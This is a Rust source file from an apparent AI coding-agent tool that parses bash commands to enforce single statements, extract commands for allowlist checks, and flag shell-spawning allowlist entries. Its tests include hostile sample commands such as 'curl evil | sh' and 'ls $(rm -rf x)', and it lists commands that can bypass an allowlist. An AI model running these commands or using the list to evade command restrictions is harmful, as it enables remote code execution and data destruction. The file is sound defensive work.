winx_code_agent/utils/
bash_parser.rs1use tree_sitter::{Node, Parser};
2
3use crate::errors::{Result, WinxError};
4
5pub fn assert_single_statement(command: &str) -> Result<()> {
6 let trimmed = command.trim();
7 if trimmed.is_empty() {
8 return Ok(());
9 }
10 if trimmed.contains('\0') {
11 return Err(WinxError::CommandExecutionError(
12 "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
13 ));
14 }
15
16 let mut parser = Parser::new();
17 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
18 parser.set_language(&language).map_err(|error| {
19 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
20 })?;
21
22 let tree = parser.parse(trimmed, None).ok_or_else(|| {
23 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
24 })?;
25 let root = tree.root_node();
26
27 if root.has_error() {
28 if bash_accepts_syntax(trimmed) {
29 return Ok(());
30 }
31
32 return Err(WinxError::CommandExecutionError(
33 "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
34 ));
35 }
36
37 let statement_count = top_level_statement_count(trimmed, root);
38
39 if statement_count > 1 && !trimmed.contains('\n') {
40 return Err(WinxError::CommandExecutionError(
41 "Command should contain a single top-level bash statement. For deliberate scripts, split statements across lines or set allow_multi=true.".to_string(),
42 ));
43 }
44
45 Ok(())
46}
47
48fn bash_accepts_syntax(command: &str) -> bool {
49 std::process::Command::new("bash")
50 .arg("-n")
51 .arg("-c")
52 .arg(command)
53 .status()
54 .is_ok_and(|status| status.success())
55}
56
57#[derive(Debug, Clone)]
58struct StatementNode {
59 kind: String,
60 start_byte: usize,
61 end_byte: usize,
62}
63
64fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
65 let mut statements = Vec::new();
66 collect_statement_nodes(root, &mut statements);
67
68 statements
69 .iter()
70 .filter(|stmt| stmt.kind != "comment")
71 .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
72 .count()
73}
74
75fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
76 if is_statement_node(node.kind()) {
77 statements.push(StatementNode {
78 kind: node.kind().to_string(),
79 start_byte: node.start_byte(),
80 end_byte: node.end_byte(),
81 });
82 }
83
84 for index in 0..node.named_child_count() as u32 {
85 if let Some(child) = node.named_child(index) {
86 collect_statement_nodes(child, statements);
87 }
88 }
89}
90
91fn is_statement_node(kind: &str) -> bool {
92 matches!(
93 kind,
94 "command"
95 | "variable_assignment"
96 | "declaration_command"
97 | "unset_command"
98 | "comment"
99 | "for_statement"
100 | "c_style_for_statement"
101 | "while_statement"
102 | "if_statement"
103 | "case_statement"
104 | "function_definition"
105 | "pipeline"
106 | "list"
107 | "compound_statement"
108 | "subshell"
109 | "redirected_statement"
110 )
111}
112
113fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
114 if stmt.start_byte == other.start_byte
115 && stmt.end_byte == other.end_byte
116 && stmt.kind == other.kind
117 {
118 return false;
119 }
120
121 let other_text = &source[other.start_byte..other.end_byte];
122 if other.kind == "list" && other_text.contains(';') {
123 return false;
124 }
125
126 other.start_byte <= stmt.start_byte
127 && other.end_byte >= stmt.end_byte
128 && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
129 && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
130}
131
132pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
144 let trimmed = command.trim();
145 if trimmed.is_empty() {
146 return Ok(Vec::new());
147 }
148 if trimmed.contains('\0') {
149 return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
150 }
151
152 let mut parser = Parser::new();
153 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
154 parser.set_language(&language).map_err(|error| {
155 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
156 })?;
157
158 let tree = parser.parse(trimmed, None).ok_or_else(|| {
159 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
160 })?;
161 let root = tree.root_node();
162 if root.has_error() {
163 return Err(WinxError::CommandExecutionError(
164 "Command could not be parsed for allowlist enforcement.".to_string(),
165 ));
166 }
167
168 let mut texts = Vec::new();
169 collect_command_texts(root, trimmed.as_bytes(), &mut texts);
170 Ok(texts)
171}
172
173fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
174 if node.kind() == "command" {
175 if let Ok(text) = node.utf8_text(src) {
176 out.push(text.to_string());
177 }
178 }
179 let mut cursor = node.walk();
180 for child in node.children(&mut cursor) {
181 collect_command_texts(child, src, out);
182 }
183}
184
185pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
193 "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
194 "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
195 "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
196];
197
198pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
205 let mut hits: Vec<String> = allowed
206 .iter()
207 .filter_map(|entry| {
208 let first = entry.split_whitespace().next()?;
209 let base = std::path::Path::new(first).file_name()?.to_str()?;
210 SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
211 })
212 .collect();
213 hits.sort();
214 hits.dedup();
215 hits
216}
217
218#[cfg(test)]
219mod tests {
220 use super::assert_single_statement;
221 use super::detect_allowlist_bypass;
222 use super::extract_command_texts;
223
224 #[test]
225 fn extracts_nested_commands_for_allowlist() {
226 let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
228 assert!(names.iter().any(|c| c.starts_with("ls")));
229 assert!(names.iter().any(|c| c.starts_with("curl")));
230 assert!(names.iter().any(|c| c.starts_with("sh")));
231
232 let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
233 assert!(subst.iter().any(|c| c.starts_with("rm")));
234 }
235
236 #[test]
237 fn accepts_shell_chains_as_single_statement() {
238 assert!(assert_single_statement("cargo test && cargo clippy").is_ok());
239 }
240
241 #[test]
242 fn accepts_heredocs_as_single_statement() {
243 let command = "cat <<'EOF'\nhello\nEOF";
244 assert!(assert_single_statement(command).is_ok());
245 }
246
247 #[test]
248 fn accepts_for_loop_as_single_compound_statement() {
249 assert!(assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done").is_ok());
250 }
251
252 #[test]
253 fn rejects_semicolon_separated_top_level_statements() {
254 assert!(assert_single_statement("pwd; ls").is_err());
255 }
256
257 #[test]
258 fn accepts_multiline_scripts() {
259 assert!(assert_single_statement("pwd\nls").is_ok());
260 }
261
262 #[test]
263 fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
264 let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
265 assert!(assert_single_statement(command).is_ok());
266 }
267
268 #[test]
269 fn detect_allowlist_bypass_flags_shell_spawners() {
270 let allowed = vec![
271 "ls".to_string(),
272 "bash".to_string(),
273 "cat -n".to_string(),
274 "find . -exec rm {} +".to_string(),
275 ];
276 assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
277 }
278
279 #[test]
280 fn detect_allowlist_bypass_clean_list_is_empty() {
281 let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
282 assert!(detect_allowlist_bypass(&allowed).is_empty());
283 }
284
285 #[test]
286 fn detect_allowlist_bypass_matches_basename_of_path() {
287 let allowed = vec!["/usr/bin/env python".to_string()];
288 assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
289 }
290
291 #[test]
292 fn rejects_nul_with_actionable_message() {
293 let error = match assert_single_statement("printf '\0'") {
294 Ok(()) => String::new(),
295 Err(error) => error.to_string(),
296 };
297 assert!(error.contains("NUL byte"));
298 assert!(error.contains("\\\\x00"));
299 }
300}